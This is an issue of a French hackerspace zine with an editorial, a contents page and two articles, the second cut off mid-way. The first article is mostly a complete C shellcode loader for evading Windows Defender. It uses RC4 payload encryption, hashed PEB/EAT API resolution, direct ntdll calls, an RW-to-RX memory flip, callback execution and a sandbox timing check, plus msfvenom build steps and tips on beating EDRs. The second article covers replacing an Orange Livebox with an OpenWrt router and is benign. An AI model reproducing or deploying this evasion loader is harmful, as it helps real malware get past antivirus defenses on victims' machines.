.........................  _______  _______   ________ ........................
........................ ╱╱       ╲╱    ╱  ╲╲╱        ╲ .......................
....................... ╱╱      __╱        ╱╱        _╱ .......................
...................... ╱       ╱ ╱         ╱-        ╱ ........................
...................... ╲________╱╲___╱____╱╲_______╱╱ .........................

                   G R E N O B L E :: H A C K E R S P A C E

blog/9600bauds04.html

>> Téléchargez l'archive tar.gz | .sig
>> Voir la version html | txt

00.txt
                 _______      ___       ______      ______    
                /" _   "\    /. ")     /    " \    /    " \   
               (: (_/  :|   /:  /     // ____  \  // ____  \  
                \____/ |)  //  /___  /  /    ) :)/  /    ) :) 
                   _\  '| (   / _  \(: (____/ //(: (____/ //  
                  /" \__|\|:   /_) :)\        /  \        /   
                 (________)\_______/  \"_____/    \"_____/ bauds                                                               

                          ISSUE No 4 - Aout 2026

                              9600@ghspace.fr
                         #9600 sur irc.libera.chat

┌────────────┐
│ DISCLAIMER └─────────────────────────────────────────────────────────────────┐
│ Ce zine est une oeuvre collective, à but informatif, écrite par des gens qui |
| savent (parfois) ce qu'ils font. En aucun cas ils ne peuvent être tenus      |
| responsables de vos bêtises.                                                 │
└──────────────────────────────────────────────────────────────────────────────┘

-- INFO --

9600 bauds est un ezine inter-hackerspaces francophones à l'initiative de
GRENOBLE HACKERSPACE. Vous pouvez partager vos projets, vos actualités, vos
réflexions, vos tutoriels, vos retours d’expérience, ou tout autre contenu de
votre communauté dans un format volontairement minimaliste et nostalgique

-- EDITO --

Il s'en est passé des trucs ! Le N°4 devais sortir en juin mais par manque
de trucs à dire et pour des raisons évidentes de vacances généralisées, on as
tous pris la dure décision de se mettre les doigts de pieds en éventails et se
la c00ler douce. Je vous avouerais que j'ai encore un peu de mal à vous écrire,
le mojito va pas ce boire tous seul ;)                      ____
                                                           (_  _)
    Bonnes vacances  à ceux qu'en ont            .  .       / /
    Bonnes chances à ceux qu'en on pas        .`_._'_..    / /
    Et merde à ceux qu'en veulent pas!        \   o   /   / /
                                           Pru \ /   /  _/ /_ 
                                         `. ~. `\___/'./~.' /.~'`.
                                         .`'`.`.'`'`.~.`'~.`'`.~`

Biz.
                                                              Beemo / Staff 9600

┌──────────┐
│ SOMMAIRE └───────────────────────────────────────────────────────────────────┐
│ 00.TXT : Sommaire et Présentations .............................. Staff 9600 │
│ 01.TXT : Techniques d'évasion sur Windows Defender ................... Beemo |
│ 02.TXT : Bypass Livebox Orange ...................................... Miizix |
│ 03.TXT : ph0wn2own ................................................... Miaou |
│ 04.TXT : SUMMER Trip :: LeHACK & Pass the Salt ....................... Tuxlu |
│ 05.TXT : leHACK 2026 - Brave New World ............................... Beemo |
└──────────────────────────────────────────────────────────────────────────────┘

-- CONTACT --

Tu peux nous contacter via :

- IRC:    #9600 sur irc.libera.chat 6667
- EMAIL:  Staff 9600 <9600@ghspace.fr>

Besoin de confidentialité ?

-----BEGIN PGP PUBLIC KEY BLOCK-----

mDMEaMau5BYJKwYBBAHaRw8BAQdAIriSQTvU+voZh3ol3A5lZpOzO0Hf4a3ie5dc
0TAcQTy0HFN0YWZmIDk2MDAgPDk2MDBAZ2hzcGFjZS5mcj6IkwQTFgoAOxYhBDxY
ZnlHx05Ta/BFq3t6TmyI4pAlBQJoxq7kAhsDBQsJCAcCAiICBhUKCQgLAgQWAgMB
Ah4HAheAAAoJEHt6TmyI4pAl4rUA/2RhQ1zFNjG1sbpYn2yhd4vW6ELWv3jbHSbv
k9hxhFAYAP436htohxy36vUY/lZAaShInBXd3ThVcfgbGZ04rfy7BLg4BGjGruQS
CisGAQQBl1UBBQEBB0BXqqHHKxM0ZPHJty2Hzn8MGL5Mn1R6BiaGbCDqW122UgMB
CAeIeAQYFgoAIBYhBDxYZnlHx05Ta/BFq3t6TmyI4pAlBQJoxq7kAhsMAAoJEHt6
TmyI4pAlog4A/2/eb+Y/CwJhIJ8WUS3ftNw6Yi929SBizt9JAu5eVpACAQCyu6ku
/U2Zk/Ia96Lc3J0CoresASYjVc2vjt+7V9uVAQ==
=Rvqt
-----END PGP PUBLIC KEY BLOCK-----

Ah oui, j'oubliais... Nous sommes toujours ouvert à de nouveaux articles.
Donc si vous voulez contribuer aux prochains numéro, envoyer nous votre
proposition déja formatté par email. Aussi, si vous pensez avoir du temps et
les compétences, le comité éditorial est ouvert à candidature.

              ,.  _~-.,               .
           ~'`_ \/,_. \_
          / ,"_>@`,__`~.)             |           .
          | |  @@@@'  ",! .           .          '
          |/   ^^@     .!  \          |         /
          `' .^^^     ,'    '         |        .             .
           .^^^   .          \                /          .
          .^^^       '  .     \       |      /       . '
.,.,.     ^^^             ` .   .,+~'`^`'~+,.     , '
&&&&&&,  ,^^^^.  . ._ ..__ _  .'    9600     '. '_ __ ____ __ _ .. .  .
%%%%%%%%%^^^^^^%%&&;_,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,`^`'~=.-
&&&&&%%%%%%%%%%%%%%%%%%&&;,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=__,.--
%%%%%&&&&&&&&&&&%%%%&&&_,.;^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,^'~=-.
%%%%%%%%%&&&&&&&&&-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-==--^'~=-.,__,.-=~'.-==--
##mjy#####*"
_,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,.-=~'`^`'~=-.,__,.-=~'=-.,.-

~`'^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^`'~=-.,__,.-=~'`^^`'~=-.

-- EOF --

01.txt
  _______      ___       ______      ______    
 /" _   "\    /. ")     /    " \    /    " \   
(: (_/  :|   /:  /     // ____  \  // ____  \  
 \____/ |)  //  /___  /  /    ) :)/  /    ) :) 
    _\  '| (   / _  \(: (____/ //(: (____/ //  
   /" \__|\|:   /_) :)\        /  \        /   
  (________)\_______/  \"_____/    \"_____/ bauds       

┌───────────────────────────────┐
│ ISSUE No 4 - Aout 2026 01.TXT └──────────────────────────────────────────────┐
| Techniques d'évasion sur Windows Defender                                    |
| Beemo <nflatrea@mailo.com>                                                   |
| GRENOBLE HACKERSPACE                                                         |
└──────────────────────────────────────────────────────────────────────────────┘⠀

            ___                              _                    
           | __|   __ __   __ _     ___     (_)     ___    _ _    
           | _|    \ V /  / _` |   (_-<     | |    / _ \  | ' \   
           |___|   _\_/_  \__,_|   /__/_   _|_|_   \___/  |_||_|  
         _|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""| 
         "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'  

          [>] Techniques d'évasion sur Windows Defender
                                           Beemo


[0x00] :: INTRODUCTION

J'ai récemment eu l'occasion de discuter maldev et après réflexion, me suis dis
qu'il serait intéressant de discuter de certaines techniques d'évasions.

PwnBot m'a récemment montré un PoC qu'il c'était amusé à faire, qui combine 
plusieurs techniques et des ptites astuces qui marchent. Me suis pas fais chié 
et j'ai pris son shellcode comme exemple. 

Le PoC compile en vrac,

  - Du chiffrement RC4 sur le payload,
  - Une résolution des APIs via PEB + hash (pas de str en clair)
  - Des appels directs à ntdll pour éviter les crochets en user-mode
  - Transition RW->RX (pas de RWX, les EDR adorent ça)
  - De l'exécution via callback EnumSystemLocalesA (pas de call direct)
  - Une détection de sandbox basée sur le timing

[0x01] :: EL FAMOSO

/*
 * Compil (Linux):
 *   x86_64-w64-mingw32-gcc main.c -o runner.exe -mwindows -s -O2
 * Compil (MSVC):
 *   cl main.c /Fe:runner.exe /O2 /GS-
 */

#include <windows.h>
#include <winternl.h>

/* ------------------------------------------------------------------ */
/* djb2 hashes                        */
/* ------------------------------------------------------------------ */
#define HASH_NTDLL_DLL                  0xe91aad51UL
#define HASH_KERNEL32_DLL               0x3e003875UL
#define HASH_NtAllocateVirtualMemory    0xf0146ce2UL
#define HASH_NtProtectVirtualMemory     0xcd363694UL
#define HASH_EnumSystemLocalesA         0x7ced7069UL

/* ------------------------------------------------------------------ */
/* djb2                                                                */
/* ------------------------------------------------------------------ */
static DWORD djb2_a(const char *s) {
    DWORD h = 5381;
    while (*s) h = (h * 33) ^ (unsigned char)*s++;
    return h;
}

static DWORD djb2_w(const WCHAR *s) {
    DWORD h = 5381;
    while (*s) {
        WCHAR c = (*s >= L'A' && *s <= L'Z') ? *s + 32 : *s;
        h = (h * 33) ^ (unsigned char)c;
        s++;
    }
    return h;
}

/* ------------------------------------------------------------------ */
/* LDR struct                                                       */
/* ------------------------------------------------------------------ */
typedef struct _MY_LDR_ENTRY {
    LIST_ENTRY     InLoadOrderLinks;
    LIST_ENTRY     InMemoryOrderLinks;
    LIST_ENTRY     InInitializationOrderLinks;
    PVOID          DllBase;
    PVOID          EntryPoint;
    ULONG          SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
} MY_LDR_ENTRY;

/* ------------------------------------------------------------------ */
/* PEB walk                                                             */
/* ------------------------------------------------------------------ */
static PVOID peb_get_module(DWORD target_hash) {
    PPEB peb   = (PPEB)__readgsqword(0x60);
    PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY curr = head->Flink;
    while (curr != head) {
        MY_LDR_ENTRY *e = CONTAINING_RECORD(curr, MY_LDR_ENTRY, InMemoryOrderLinks);
        if (e->BaseDllName.Buffer && djb2_w(e->BaseDllName.Buffer) == target_hash)
            return e->DllBase;
        curr = curr->Flink;
    }
    return NULL;
}

/* ------------------------------------------------------------------ */
/* EAT parser                                                           */
/* ------------------------------------------------------------------ */
static FARPROC eat_get_proc(PVOID base, DWORD target_hash) {
    BYTE *b = (BYTE *)base;
    IMAGE_DOS_HEADER      *dos = (IMAGE_DOS_HEADER *)b;
    IMAGE_NT_HEADERS      *nt  = (IMAGE_NT_HEADERS *)(b + dos->e_lfanew);
    IMAGE_EXPORT_DIRECTORY *ex = (IMAGE_EXPORT_DIRECTORY *)(b +
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD *names    = (DWORD *)(b + ex->AddressOfNames);
    WORD  *ords     = (WORD  *)(b + ex->AddressOfNameOrdinals);
    DWORD *funcs    = (DWORD *)(b + ex->AddressOfFunctions);

    for (DWORD i = 0; i < ex->NumberOfNames; i++) {
        const char *name = (const char *)(b + names[i]);
        if (djb2_a(name) == target_hash)
            return (FARPROC)(b + funcs[ords[i]]);
    }
    return NULL;
}

/* ------------------------------------------------------------------ */
/* API typedefs                                                         */
/* ------------------------------------------------------------------ */
typedef NTSTATUS (NTAPI *fnNtAllocateVirtualMemory)(
    HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);

typedef NTSTATUS (NTAPI *fnNtProtectVirtualMemory)(
    HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);

typedef BOOL (WINAPI *fnEnumSystemLocalesA)(LOCALE_ENUMPROCA, DWORD);

/* ------------------------------------------------------------------ */
/* RC4                                                                  */
/* ------------------------------------------------------------------ */
static void rc4_crypt(unsigned char *key, int klen,
                      unsigned char *data, int dlen) {
    unsigned char S[256];
    int i, j = 0;
    for (i = 0; i < 256; i++) S[i] = (unsigned char)i;
    for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % klen]) & 0xFF;
        unsigned char t = S[i]; S[i] = S[j]; S[j] = t;
    }
    i = j = 0;
    for (int k = 0; k < dlen; k++) {
        i = (i + 1) & 0xFF;
        j = (j + S[i]) & 0xFF;
        unsigned char t = S[i]; S[i] = S[j]; S[j] = t;
        data[k] ^= S[(S[i] + S[j]) & 0xFF];
    }
}

/* ------------------------------------------------------------------ */
/* Sandbox check: mesure si Sleep() dort vraiment                     */
/* ------------------------------------------------------------------ */
static BOOL sandbox_check(void) {
    LARGE_INTEGER t1, t2, freq;
    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&t1);
    Sleep(1500);
    QueryPerformanceCounter(&t2);
    LONGLONG elapsed_ms = (t2.QuadPart - t1.QuadPart) * 1000 / freq.QuadPart;
    return (elapsed_ms >= 1400);  /* allow 100 ms tolerance */
}

/* ------------------------------------------------------------------ */
/* RC4 key :: rien de caché ici, c'est pas notre but                  */
/* ------------------------------------------------------------------ */
static unsigned char KEY[] = {
    0x4e, 0x61, 0xc3, 0x7f, 0x09, 0xb2, 0x55, 0xd8,
    0xaa, 0x3c, 0x17, 0xe9, 0x72, 0x06, 0xbd, 0x41
};

/*
 * RC4-chiffré windows/x64/exec CMD=calc.exe
 */
static unsigned char enc_sc[] = {
    0x5f, 0xef, 0x3c, 0xd4, 0xe8, 0x16, 0xde, 0x11, 0x86, 0x6c, 0xdf, 0x05,
    0xc9, 0x53, 0x86, 0x7e, 0x4a, 0xb6, 0xb0, 0xaf, 0x46, 0xee, 0xe2, 0xf1,
    0x49, 0x5f, 0x6b, 0x89, 0xcf, 0x54, 0x11, 0x11, 0x83, 0x16, 0x41, 0x8b,
    0x56, 0x4c, 0xba, 0x1d, 0x36, 0x50, 0xf8, 0xe3, 0xdf, 0x35, 0x26, 0x39,
    0xa0, 0x3b, 0xb1, 0x54, 0x41, 0x2e, 0xf9, 0xb4, 0xf1, 0x0b, 0xd4, 0x72,
    0xfe, 0xc4, 0x04, 0x76, 0x5d, 0xba, 0xd9, 0x8c, 0xa7, 0xea, 0xe8, 0x2a,
    0xb9, 0x75, 0x1c, 0xe6, 0x8d, 0x0c, 0x80, 0xf6, 0x1b, 0xfb, 0x01, 0x80,
    0x49, 0xca, 0x85, 0xf7, 0x32, 0xac, 0xf9, 0x7b, 0xec, 0x4f, 0xc7, 0x89,
    0xec, 0x4e, 0xb9, 0x82, 0x3e, 0x0e, 0x27, 0x2a, 0x75, 0xf8, 0x3c, 0x73,
    0x86, 0x28, 0x1a, 0x23, 0x22, 0x5f, 0x02, 0xed, 0x67, 0xe7, 0x65, 0xe9,
    0xc8, 0x6a, 0xfc, 0x1a, 0x66, 0x2d, 0x57, 0xc4, 0x0f, 0x5d, 0x29, 0xd5,
    0x09, 0xe3, 0xac, 0x76, 0x42, 0x70, 0x7d, 0x43, 0x6a, 0x09, 0xf7, 0xf0,
    0x39, 0xd0, 0xf6, 0x94, 0x21, 0xb5, 0x14, 0x90, 0x43, 0x46, 0xff, 0xaf,
    0xa9, 0x58, 0x97, 0xcd, 0x61, 0x7f, 0xc1, 0x14, 0x47, 0xf4, 0x8e, 0x60,
    0x90, 0x3e, 0xb5, 0xae, 0x49, 0x08, 0x25, 0x80, 0x67, 0xe1, 0xbf, 0x8f,
    0x13, 0x13, 0x91, 0x51, 0x77, 0xe1, 0x77, 0x3e, 0x97, 0xd6, 0x65, 0xe7,
    0x41, 0x26, 0xeb, 0x90, 0x2f, 0xcf, 0x08, 0x34, 0x9e, 0xf5, 0xa1, 0x9a,
    0x82, 0x66, 0xee, 0xf4, 0xab, 0xf8, 0x7c, 0xf8, 0xef, 0x3a, 0x0c, 0xb0,
    0x96, 0xfc, 0x8a, 0x86, 0x9f, 0x93, 0x38, 0xdb, 0x9f, 0x72, 0x87, 0x80,
    0x69, 0xb4, 0x35, 0x99, 0x58, 0x56, 0x81, 0xb5, 0x04, 0x81, 0x66, 0xa6,
    0x94, 0x7c, 0xff, 0x5d, 0xce, 0xdc, 0x05, 0x89, 0x2d, 0x93, 0x4f, 0x9e,
    0xde, 0x7b, 0x05, 0xef, 0xef, 0x49, 0x2e, 0x9b, 0xfa, 0xeb, 0xa4, 0x53,
    0x7d, 0xda, 0x89, 0x09, 0x92, 0xb7, 0x98, 0xee, 0xb9, 0xd5, 0xdc, 0x6e,
};

int main(void) {

    /* check sandbox */
    if (!sandbox_check())
        return 0;

    /* Resolve ntdll + kernel32 depuis la PEB */
    PVOID hNtdll = peb_get_module(HASH_NTDLL_DLL);
    PVOID hK32   = peb_get_module(HASH_KERNEL32_DLL);
    if (!hNtdll || !hK32) return 1;

    /* Resolve Nt* depuis ntdll EAT (bypasses kernel32 hook layer) */
    fnNtAllocateVirtualMemory NtAVM =
        (fnNtAllocateVirtualMemory)eat_get_proc(hNtdll, HASH_NtAllocateVirtualMemory);
    fnNtProtectVirtualMemory  NtPVM =
        (fnNtProtectVirtualMemory) eat_get_proc(hNtdll, HASH_NtProtectVirtualMemory);
    fnEnumSystemLocalesA      EnumSL =
        (fnEnumSystemLocalesA)     eat_get_proc(hK32,   HASH_EnumSystemLocalesA);
    if (!NtAVM || !NtPVM || !EnumSL) return 1;

    /* Alloue RW via ntdll directement */
    PVOID  buf = NULL;
    SIZE_T len = sizeof(enc_sc);
    NtAVM((HANDLE)-1, &buf, 0, &len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!buf) return 1;

    /* copie + RC4 decrypt */
    for (SIZE_T i = 0; i < sizeof(enc_sc); i++)
        ((BYTE*)buf)[i] = enc_sc[i];
    rc4_crypt(KEY, sizeof(KEY), (unsigned char *)buf, (int)sizeof(enc_sc));

    /* Flip RX via ntdll directement */
    ULONG  old = 0;
    SIZE_T region = sizeof(enc_sc);
    NtPVM((HANDLE)-1, &buf, &region, PAGE_EXECUTE_READ, &old);

    /* Execute via EnumSystemLocalesA callback pas de fn-ptr cast à poil */
    EnumSL((LOCALE_ENUMPROCA)buf, 0);

    return 0;
}

[0x02] :: COMPILATION ET TEST

[>] Générer le shellcode:

  $ msfvenom -p windows/x64/exec CMD=calc.exe -f raw > shellcode.bin
  $ python3 gen_shellcode.py shellcode.bin // dérouillez vous pour le script
  Copier la sortie "header" dans le code C.

[>] Compiler sous linux:

  $ x86_64-w64-mingw32-gcc main.c -o runner.exe -mwindows -s -O2

[>] Compiler sous Windows/MSVC :

  C:\> cl main.c /Fe:runner.exe /O2 /GS-

[>] Test:

  - Vérifier que calc.exe s'ouvre.
  - Vérifier que Windows Defender ne détecte rien (en mode déconnecté,
    sinon il peut envoyer le fichier en cloud pour analyse et ça fait chier).
  - Tester dans une VM avec un EDR (ex: CrowdStrike, SentinelOne) pour
    voir si ça passe.

[0x03] :: ANALYSE DU CODE

┌---[1.1] Chiffrement RC4
│
│   Le payload (calc.exe) est chiffré avec RC4. La clé est définie dans KEY[] 
│   et doit matcher avec celle utilisé pour générer le shellcode.
│   Rien de révolutionnaire, mais ça évite les signatures statiques sur le 
│   payload brut et c'est léger.
│
│   static unsigned char KEY[] = {0x4e, 0x61, ...};
│   static unsigned char enc_sc[] = {0x5f, 0xef, ...};
│
│   La fonction rc4_crypt() est appelée pour déchiffrer le payload en
│   mémoire après allocation.

┌---[1.2] Résolution des DLLs via PEB
│
│   Pas d'appels à LoadLibrary() ou GetModuleHandle() ! On parcourt la
│   PEB (Process Environment Block) pour trouver les bases des DLLs
│   chargées. La fonction peb_get_module() utilise un hash djb2 sur le
│   nom de la DLL (en Unicode) pour éviter les strings en clair.
│
│     PPEB peb = (PPEB)__readgsqword(0x60);
│     PLIST_ENTRY curr = peb->Ldr->InMemoryOrderModuleList.Flink;
│
│   Les hashs sont prédéfinis :
│     HASH_NTDLL_DLL     = 0xe91aad51
│     HASH_KERNEL32_DLL  = 0x3e003875
│
│   Astuce : Les hashs sont calculés avec djb2_w() qui convertit les
│   caractères en minuscules avant le hash. Pratique pour éviter les
│   variations de casse.

┌---[1.3] Résolution des APIs via EAT
│
│   Même principe pour les fonctions : on parse l'EAT (Export Address Table)
│   des DLLs pour trouver l'adresse des fonctions ciblées. La fonction
│   eat_get_proc() prend la base de la DLL et un hash de nom de fonction.
│
│     IMAGE_EXPORT_DIRECTORY *ex = ...;
│     for (DWORD i = 0; i < ex->NumberOfNames; i++) {
│         const char *name = (const char *)(b + names[i]);
│         if (djb2_a(name) == target_hash) return (FARPROC)(b + funcs[...]);
│     }
│
│   Les fonctions ciblées :
│     NtAllocateVirtualMemory  (hash: 0xf0146ce2)
│     NtProtectVirtualMemory   (hash: 0xcd363694)
│     EnumSystemLocalesA       (hash: 0x7ced7069)
│
│   Pourquoi ces fonctions ?
│   - NtAllocateVirtualMemory / NtProtectVirtualMemory : Appels directs à
│     ntdll, contournent les hooks user-mode (ex: dans kernel32).
│   - EnumSystemLocalesA : Utilisée pour exécuter le shellcode via un
│     callback. Moins suspect qu'un call direct à un pointeur de fonction.

┌---[1.4] Allocation et Protection de la Mémoire
│
│   On alloue de la mémoire en RW (Read-Write) avec NtAllocateVirtualMemory,
│   puis on copie et déchiffre le payload dedans. Ensuite, on passe la page
│   en RX (Read-eXecute) avec NtProtectVirtualMemory.
│
│     NtAVM((HANDLE)-1, &buf, 0, &len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
│     memcpy(buf, enc_sc, sizeof(enc_sc));
│     rc4_crypt(KEY, sizeof(KEY), buf, sizeof(enc_sc));
│     NtPVM((HANDLE)-1, &buf, &region, PAGE_EXECUTE_READ, &old);
│
│   Pourquoi pas RWX directement ? Dans le mille émile, Les solutions de 
│   détection (EDR, AV) surveillent les allocations RWX (exécutable ET writable). 
│   La transition RW->RX est plus discrète.

┌---[1.5] Exécution via Callback
│
│   Pas de :
│     ((void(*)())buf)();
│
│   À la place, on utilise EnumSystemLocalesA qui prend un pointeur de
│   fonction (LOCALE_ENUMPROCA) en argument. Notre shellcode est casté en
│   ce type et passé comme callback.
│
│     EnumSL((LOCALE_ENUMPROCA)buf, 0);
│
│   Ça évite les signatures sur les appels directs à des pointeurs de mémoire
│   allouée. Pis EnumSystemLocalesA est une API légitime, donc moins surveillée.

┌---[1.6] Détection de Sandbox
│
│   La fonction sandbox_check() mesure le temps écoulé pendant un Sleep(1500).
│   Dans une sandbox, Sleep() est souvent "fast-forwardé", donc le temps
│   réel écoulé sera bien inférieur à 1500ms.
│
│     QueryPerformanceCounter(&t1);
│     Sleep(1500);
│     QueryPerformanceCounter(&t2);
│     elapsed_ms = (t2.QuadPart - t1.QuadPart) * 1000 / freq.QuadPart;
│     return (elapsed_ms >= 1400);
│
│   Si la sandbox est détectée, le programme quitte silencieusement.
│   Tolérance de 100ms pour les variations normales.


[0x04] :: POURQUOI ÇA MARCHE (OU PAS)

Pas de strings en clair (DLLs et APIs résolues via hash). Pas d'appels à 
LoadLibrary/GetProcAddress (contourne les hooks). Pas de RWX (transition RW->RX).
Une exécution via des callback légitimes, une détection de sandbox basique mais 
qui fait le taff.

Bon par contre, les hashs djb2 peuvent être calculés à l'envers par les AV/EDR.
La détection de sandbox est basique (Sleep() seulement) faudrais ajouter des 
checks (nbs de CPU, mémoire etc).

Le payload est statique (calc.exe), mieux vaudrais quelque-chose de meta qui ce
génère dynamiquement ou se télécharge.

T'as pas non plus d'obfuscation du code lui-même, il manques quelques fonctions
et conditions poubelles, des boucles inifies jamais appelés etc


[0x05] :: CONCLUSION

Le PoC nous montre qu'avec quelques techniques simples mais bien choisies, 
on peut contourner les détections basiques de Windows Defender. 

Bien évidemment, les EDRs modernes iront plus loin, mais c'est une bonne base 
pour comprendre les mécanismes d'évasion. Le code est volontairement minimaliste
pour être facile à comprendre et à modifier. 

À vous de jouer, 

[0x06] :: RÉFÉRENCES

[>] PEB Walking :
  - https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software
  - https://0xrick.github.io/win-internals/peb/
[>] EAT Parsing :
  - https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#export-directory-table
  - https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel/in-depth-look-into-export-address-table-eat
[>] Nt* APIs :
  - https://undocumented.ntinternals.net/
  - https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntallocatevirtualmemory
[>] RC4 :
  - https://en.wikipedia.org/wiki/RC4
[>] Sandbox Evasion :
  - https://www.hynek.me/articles/virtual-machine-detection/
  - https://anti-debug.checkpoint.com/

[0xFF] :: EOF

02.txt
  _______      ___       ______      ______    
 /" _   "\    /. ")     /    " \    /    " \   
(: (_/  :|   /:  /     // ____  \  // ____  \  
 \____/ |)  //  /___  /  /    ) :)/  /    ) :) 
    _\  '| (   / _  \(: (____/ //(: (____/ //  
   /" \__|\|:   /_) :)\        /  \        /   
  (________)\_______/  \"_____/    \"_____/ bauds   

┌──────────────────────────────────┐
│ ISSUE No 4 - Juillet 2026 02.TXT └───────────────────────────────────────────┐
| Bypass Livebox Orange                                                        |
| Miizix <miizix@mzx.fr>                                                       |
| HACKGYVER HACKERSPACE (Belfort)                                              |
└──────────────────────────────────────────────────────────────────────────────┘⠀

-- 0x0: Intro --

\o/ ici Miizix, du HackGyver.

Lors d'un précédent projet au sein de notre hackerspace, nous avons traités
théoriquement la sécurisation de notre réseau domestique. En passant par
l'identification appareils exposés à Internet, la compréhension des outils
utilisés par les attaquants, les protections physiques/logicielles addaptées
et la mise en place de VLAN. Nous avons classés les niveaux de sécurité
par paranoïa.

Aujourd'hui, on va mettre les mains dans la technique avec le bypass du routeur
d'Orange par le notre sous OpenWrt.

Au sommaire de cet article:

* 0x1: Choisir son matériel
* 0x2: Identifier sa techno fibre
* 0x3: Configuration du WAS110
* 0x4: Configuration du Huawei MA5671A
* 0x5: Installation OpenWrt
* 0x6: Segmentation réseau
* 0x7: Vue finale de la config
* 0x8: Conclusion


-- 0x1: Choisir son matériel --

Avant toute chose, il va nous falloir du matos.

Après quelques comparatifs des mini-pc, des routeurs MikroTik et autres...
J'ai choisis de prendre un Banana Pi 4, une belle bête sous OpenWrt.

Il dispose d'un processur MediaTek MT7988A (Filogic 880), architecture ARM
Cortex-A73 quad-cœur, de  4 Go ou 8 Go de RAM DDR4, 8 Go d’eMMC et 128 Mo
de flash SPI-NAND.

Pour la connectique, on a 2 ports SFP+ 10 GbE, 4 ports Gigabit Ethernet,
un port USB 3.2 ainsi qu'un slot SDcard.
Et en supplémant, un support M.2 pour modules 4G/5G ou SSD NVMe.

Liste du matériel:

+-----+----------------------------------------+
| No. | Équipement                             |
+-----+----------------------------------------+
| 1   | Banana Pi BPI-R4-8G (~100€)            |
| 2   | Dissipateur thermique BPI-R4 (~5€)     |
| 3   | Boitier aluminium BPI-R4 (~13€)        |
| 4   | Huawei MA5671A (GPON) (~30/35€)        |
| 5   | WAS110 (XGS-PON) (~140€)               |
+-----+----------------------------------------+

Liens:

[1] https://fr.aliexpress.com/item/1005006256712337.html
[2] https://fr.aliexpress.com/item/1005007083587135.html
[3] https://fr.aliexpress.com/item/1005006860115391.html
[4] https://fr.aliexpress.com/item/1005007198047818.html
[5] https://fr.aliexpress.com/item/1005007856556526.html


-- 0x2: Identifier sa techno fibre --

Avant de commander votre module SFP, vous devez identifier votre technologie
réseau. Il va falloir se rendre sur la carte de couverture fibre d'Orange
https://reseaux.orange.fr/les-cartes-de-couverture/carte-de-couverture-
fibre, saisissez votre adresse et vérifiez la mention affichée:

Fibre: Vous êtes en GPON (débit max ~2.5 Gbps).
XGS-PON: Vous êtes sur la nouvelle technologie (débit max ~10 Gbps).

Le PON n'a rien à voir avec le pont à base d'anis, le PON (Passive Optical
Network) est un réseau optique passif avec une architecture
point-à-multipoint. Il se compose d'un OLT (chez l'opérateur), d'un ONU/ONT
(votre module SFP) et de splitters passifs.

Le GPON (Gigabit-capable PON) est le standard le plus répandu (~2.5 Gbps).
Il supporte le Triple-play (Internet, TV, Téléphone) avec une très bonne
efficacité et un chiffrement AES natif.

Enfin, le XGS-PON est l'évolution 10 Gigabit, avec des débits symétriques
bien plus élevés.

Fun fact, je pensais être en XGS-PON et j'ai donc commandé trop rapidement
un WAS110. Finalement, ma ligne est en GPON. Pas d'inquiétude, si vous êtes
réellement en XGS-PON, j'ai tout de même troubleshoot le module et la
configuration reste globalement identique !

Vous êtes en XGS-PON (10G)

Le module star est le WAS110. Il est indispensable d'utiliser le firmware
custom "8311".

C'est l'ONU le plus avancé, il bénéficie d'une énorme communauté, d'un support
actif et de corrections constantes pour s'adapter aux différents opérateurs
mondiaux.
Retrouvez le d'achat et de conf sur https://akhamar.github.io/orange-xgs-pon/

Vous êtes en GPON (2.5G)

Bon après mes péripéties, j'ai donc pris un SFP GPON, le Huawei MA5671A.

Le module est dispo sur AliExpress pour une trentaine d'euros.

L'ONT Leox LXT-010H-D est une alternative reconnue, une excellente référence
dans la communauté.


-- 0x3: Configuration du WAS110 --

Cette section concerne le WAS110 avec le firmware 8311 déjà préinstallé.
Si ce n'est pas encore le cas, vous allez devoir le flasher.

D'ailleurs, 8311 est l'écriture leetspeak de BELL en référence à Alexander
Graham Bell, inventeur du téléphone, et au réseau de télécommunications qu'il
a fondé, dont sont issus les célèbres Baby Bells, incluant Bell Canada.

Avant de débrancher quoi que ce soit, on va soutirer un maximum
d'informations à la Livebox.
Prenez des screenshots de tout. Ça vous fera gagner un temps précieux si vous
avez oublié de noter une info.

Connectez-vous à l'interface d'administration de la livebox, les creds par
défauts sont: admin ainsi que les 6 premiers caractères du mdp Wi-Fi.

Se rendre dans dans Paramètres avancés -> Informations système et faites des
screenshots des pages suivantes:

Général - infos globales de la box
Internet - paramètres de connexion
ONT - les infos critiques pour le bypass
VoIP - notez votre numéro de ligne fixe, ça servira plus tard

Les valeurs que vous allez injecter dans le WAS110 sont:
Serial Number de l'ONT
Equipment ID
Hardware Version
Versions des softwares (sw_verA et sw_verB)

Branchement et accès au WAS110

Branchez le WAS110 dans un switch compatible SFP+ ou directement dans le
Banana Pi.
Reliez votre PC au switch/routeur en RJ45.
Configurez votre carte réseau en IP fixe:

IP: 192.168.1.2
Masque: 255.255.255.0
Passerelle: 192.168.1.1

Testez le ping vers l'ONT: ping 192.168.1.10

Si ça répond, l'ONT est joignable.

Configurer l'identité de l'ONT

Connectez-vous en SSH:

